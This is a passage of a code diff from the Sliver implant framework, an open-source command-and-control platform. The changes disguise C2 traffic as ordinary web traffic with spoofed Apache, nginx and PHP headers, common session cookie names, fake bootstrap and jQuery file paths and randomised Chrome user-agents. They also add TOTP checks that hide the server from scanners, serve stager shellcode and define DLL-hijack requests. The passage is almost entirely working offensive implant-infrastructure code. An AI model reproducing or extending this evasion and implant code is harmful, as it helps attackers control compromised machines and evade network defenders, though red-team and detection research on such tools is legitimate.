return nil, err
}
@@ -3059,7 +3059,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
}
return interceptor(ctx, in, info, handler)
}
File diff suppressed because it is too large. Load diff
+15
View File
@@ -47,6 +47,7 @@ message Register {
uint32 ReconnectInterval = 13;
string ProxyURL = 14;
uint32 PollInterval = 15;
string ConfigID = 16;
}
// Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -801,6 +802,20 @@ message SSHCommand {
commonpb.Response Response = 9;
}
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
File renamed without changes.
+140 -32
View File
@@ -19,6 +19,7 @@ package c2
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/sha256"
@@ -27,19 +28,23 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/pem"
"errors"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -54,14 +59,20 @@ import (
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
)
const (
defaultHTTPTimeout = time.Second * 60
pollTimeout = defaultHTTPTimeout - 5
sessionCookieName = "PHPSESSID"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
@@ -135,6 +146,7 @@ type SliverHTTPC2 struct {
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
EnforceOTP bool
server string
poweredBy string
@@ -142,15 +154,30 @@ type SliverHTTPC2 struct {
func (s *SliverHTTPC2) getServerHeader() string {
if s.server == "" {
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
switch insecureRand.Intn(1) {
case 0:
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return s.server
}
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) getPoweredByHeader() string {
if s.poweredBy == "" {
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
insecureRand.Intn(3), insecureRand.Intn(17))
switch insecureRand.Intn(1) {
case 0:
s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
default:
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
}
}
return s.poweredBy
}
@@ -167,6 +194,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
active: &map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
EnforceOTP: true,
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
@@ -257,17 +285,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = start
// .php = session
// .js = poll
// 1.phtml / .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
@@ -291,18 +319,64 @@ func (s *SliverHTTPC2) router() *mux.Router {
// This filters requests that do not have a valid nonce
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
return false // NaN
}
return true
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warnf("Nonce not found in request", qNonce)
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
httpLog.Debugf("Request nonce = %d", nonce)
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
return false // Not a valid encoder
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return true
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warnf("OTP not found in request", otpCode)
return "", ErrMissingNonce
}
httpLog.Debugf("Request OTP = %s", otpCode)
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
@@ -357,8 +431,23 @@ func default404Handler(resp http.ResponseWriter, req *http.Request) {
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
httpLog.Info("Public key request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
nonce, _ := getNonceFromURL(req.URL)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
@@ -371,11 +460,27 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Start session request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Info("Failed to fetch rsa private key")
httpLog.Warn("Failed to fetch rsa private key")
resp.WriteHeader(404)
return
}
@@ -386,14 +491,18 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
return
}
body, _ := ioutil.ReadAll(req.Body)
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
resp.WriteHeader(404)
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
@@ -403,7 +512,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
if err != nil {
httpLog.Info("RSA decryption failed")
httpLog.Error("RSA decryption failed")
resp.WriteHeader(404)
return
}
@@ -432,7 +541,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
http.SetCookie(resp, &http.Cookie{
Domain: s.Conf.Domain,
Name: sessionCookieName,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: true,
HttpOnly: true,
@@ -441,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
@@ -449,7 +558,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
return
}
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
@@ -489,7 +598,9 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
}
resp.WriteHeader(200)
// TODO: Return random data?
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
@@ -501,7 +612,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
}
// We already know we have a valid nonce because of the middleware filter
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.Session.Send:
@@ -556,13 +667,10 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
if cookie.Name == sessionCookieName {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
return nil
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
}
return nil // No valid cookie names
File renamed without changes.
+1 -1
View File
@@ -69,5 +69,5 @@ func handleConnection(conn net.Conn, data []byte) {
// Send shellcode
conn.Write(final)
// Closing connection
conn.Close()
// conn.Close()
}
File renamed without changes.
+5 -5
View File
@@ -229,23 +229,23 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
}
// Sign certificate or self-sign if CA
var certErr error
var err error
var derBytes []byte
if isCA {
certsLog.Infof("Certificate is an AUTHORITY")
template.IsCA = true
template.KeyUsage |= x509.KeyUsageCertSign
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
derBytes, err = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
} else {
caCert, caKey, err := GetCertificateAuthority(caType) // Sign the new certificate with our CA
if err != nil {
certsLog.Fatalf("Invalid ca type (%s): %v", caType, err)
}
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
derBytes, err = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
}
if certErr != nil {
if err != nil {
// We maybe don't want this to be fatal, but it should basically never happen afaik
certsLog.Fatalf("Failed to create certificate: %s", certErr)
certsLog.Fatalf("Failed to create certificate: %s", err)
}
// Encode certificate and key
+302
View File
@@ -0,0 +1,302 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
)
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
}
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
return h.generateChromeUserAgent(goos, goarch)
}
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
if h.ImplantConfig.UserAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
}
} else {
return h.ImplantConfig.UserAgent
}
// Default is a generic Windows/Chrome
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
// RandomImplantConfig - Randomly generate a config
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return &HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
MaxFiles: h.ImplantConfig.MaxFiles,
MaxPaths: h.ImplantConfig.MaxPaths,
CssFiles: h.ImplantConfig.RandomCssFiles(),
CssPaths: h.ImplantConfig.RandomCssPaths(),
JsFiles: h.ImplantConfig.RandomJsFiles(),
JsPaths: h.ImplantConfig.RandomJsPaths(),
TxtFiles: h.ImplantConfig.RandomTxtFiles(),
TxtPaths: h.ImplantConfig.RandomTxtPaths(),
PngFiles: h.ImplantConfig.RandomPngFiles(),
PngPaths: h.ImplantConfig.RandomPngPaths(),
PhpFiles: h.ImplantConfig.RandomPhpFiles(),
PhpPaths: h.ImplantConfig.RandomPhpPaths(),
}
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
Headers []string `json:"headers"`
Cookies []string `json:"cookies"`
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// CSS files and paths
CssFiles []string `json:"css_files"`
CssPaths []string `json:"css_paths"`
// JS files and paths
JsFiles []string `json:"js_files"`
JsPaths []string `json:"js_paths"`
// Txt files and paths
TxtFiles []string `json:"txt_files"`
TxtPaths []string `json:"txt_paths"`
// Png files and paths
PngFiles []string `json:"png_files"`
PngPaths []string `json:"png_paths"`
// Php files and paths
PhpFiles []string `json:"php_files"`
PhpPaths []string `json:"php_paths"`
}
func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.CssFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.JsFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.TxtFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PngFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PhpFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
count := insecureRand.Intn(len(values))
if count < min {
count = min
}
if max < count {
count = max
}
sample := []string{}
for i := 0; len(sample) < count; i++ {
index := (count + i) % len(values)
sample = append(sample, values[index])
}
return sample
}
var (
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
defaultHTTPC2Config = &HTTPC2Config{
ServerConfig: &HTTPC2ServerConfig{
Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
PngFiles: []string{"favicon.png", "sample.png", "example.png"},
PngPaths: []string{"static", "www", "assets", "images", "icons"},
PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
},
}
)
// GetHTTPC2ConfigPath - File path to http-c2.json
func GetHTTPC2ConfigPath() string {
appDir := assets.GetRootAppDir()
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
return httpC2ConfigPath
}
// GetHTTPC2Config - Get the current HTTP C2 config
func GetHTTPC2Config() *HTTPC2Config {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return defaultHTTPC2Config
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return defaultHTTPC2Config
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return defaultHTTPC2Config
}
return config
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(saveTo, data, 0600)
}
+1 -1
View File
@@ -64,7 +64,7 @@ const (
)
var (
namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars
namePattern = regexp.MustCompile("^[a-zA-Z0-9_]*$") // Only allow alphanumeric chars
)
// ClientConfig - Client JSON config
+3 -3
View File
@@ -36,7 +36,7 @@ var (
sessions: map[uint32]*Session{},
mutex: &sync.RWMutex{},
}
hiveID = uint32(0)
rollingSessionID = uint32(0)
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
@@ -211,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
// NextSessionID - Returns an incremental nonce as an id
func NextSessionID() uint32 {
newID := hiveID + 1
hiveID++
newID := rollingSessionID + 1
rollingSessionID++
return newID
}
+66 -1
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
"io/ioutil"
"os"
"path"
"time"
"github.com/bishopfox/sliver/server/assets"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -38,11 +46,15 @@ const (
// GCMNonceSize - 96 bit nonces for GCM
GCMNonceSize = 12
// TOTPDigits - Number of digits in the TOTP
TOTPDigits = 8
TOTPPeriod = uint(30)
)
var (
// ErrInvalidKeyLength - Invalid key length
ErrInvalidKeyLength = errors.New("Invalid length")
ErrInvalidKeyLength = errors.New("invalid length")
)
// AESKey - 256 bit key
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
// TOTPOptions - Customized totp validation options
func TOTPOptions() totp.ValidateOpts {
return totp.ValidateOpts{
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
Skew: uint(1),
}
}
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
// is for the implant to prove it was generated by this server. To that end we simply
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
// you'd have to extract the totp secret from a binary generated by the server.
func TOTPServerSecret() (string, error) {
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
return totpGenerateSecret(totpSecretPath)
} else {
data, err := ioutil.ReadFile(totpSecretPath)
return string(data), err
}
}
// ValidateTOTP - Validate a TOTP code
func ValidateTOTP(code string) (bool, error) {
secret, err := TOTPServerSecret()
if err != nil {
return false, err
}
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
if err != nil {
return false, err
}
return valid, nil
}
func totpGenerateSecret(saveTo string) (string, error) {
otpSecret, err := totp.Generate(totp.GenerateOpts{
Issuer: "foo",
AccountName: "bar",
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
})
if err != nil {
return "", err
}
secret := otpSecret.Secret()
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
return secret, err
}
+13
View File
@@ -25,6 +25,7 @@ package db
import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
@@ -33,6 +34,18 @@ var (
ErrRecordNotFound = gorm.ErrRecordNotFound
)
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
}).First(&config).Error
if err != nil {
return nil, err
}
return &config, err
}
// ImplantBuilds - Return all implant builds
func ImplantBuilds() ([]*models.ImplantBuild, error) {
builds := []*models.ImplantBuild{}
+8 -3
View File
@@ -34,8 +34,12 @@ type ImplantBuild struct {
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string `gorm:"unique;"`
// Checksum stores the MD5 sum of an implant binary
Checksum string
// Checksums stores of the implant binary
MD5 string
SHA1 string
SHA256 string
// Burned indicates whether the implant
// has been seen on threat intel platforms
Burned bool
@@ -68,7 +72,6 @@ type ImplantConfig struct {
GOARCH string
// Standard
// Name string
CACert string
Cert string
Key string
@@ -127,6 +130,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
// ToProtobuf - Convert ImplantConfig to protobuf equiv
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
config := &clientpb.ImplantConfig{
ID: ic.ID.String(),
GOOS: ic.GOOS,
GOARCH: ic.GOARCH,
+32 -5
View File
@@ -35,6 +35,8 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/gogo"
"github.com/bishopfox/sliver/server/log"
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.Cert = string(sliverCert)
config.Key = string(sliverKey)
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return "", err
}
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.WGServerPubKey = serverPubKey
}
err = ImplantConfigSave(config)
if err != nil {
return "", err
}
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
binDir := path.Join(projectGoPathDir, "bin")
os.MkdirAll(binDir, 0700)
@@ -599,17 +611,32 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
buf := bytes.NewBuffer([]byte{})
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
// Render code
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
// --------------
// Render Code
// --------------
sliverCodeTmpl := template.New("sliver")
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
"GenerateUserAgent": func() string {
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
},
}).Parse(sliverGoCode)
if err != nil {
buildLog.Errorf("Template parsing error %s", err)
return "", err
}
err = sliverCodeTmpl.Execute(buf, struct {
Name string
Config *models.ImplantConfig
Name string
Config *models.ImplantConfig
OTPSecret string
HTTPC2Config *configs.HTTPC2ImplantConfig
}{
name,
config,
otpSecret,
configs.GetHTTPC2Config().RandomImplantConfig(),
})
if err != nil {
buildLog.Error(err)
buildLog.Errorf("Template execution error %s", err)
return "", err
}
+29 -3
View File
@@ -20,6 +20,8 @@ package generate
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
@@ -34,6 +36,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/watchtower"
"gorm.io/gorm/clause"
)
var (
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
return buildsDir, nil
}
// ImplantConfigSave - Save only the config to the database
func ImplantConfigSave(config *models.ImplantConfig) error {
dbSession := db.Session()
result := dbSession.Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&config)
if result.Error != nil {
return result.Error
}
return nil
}
// ImplantBuildSave - Saves a binary file into the database
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
if err != nil {
return err
}
sum := md5.Sum(data)
hash := hex.EncodeToString(sum[:])
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
buildsDir, err := getBuildsDir()
if err != nil {
return err
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
implantBuild := &models.ImplantBuild{
Name: name,
ImplantConfig: (*config),
Checksum: hash,
MD5: md5Hash,
SHA1: sha1Hash,
SHA256: sha256Hash,
}
watchtower.AddImplantToWatchlist(implantBuild)
result := dbSession.Create(&implantBuild)
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
}
func computeHashes(data []byte) (string, string, string) {
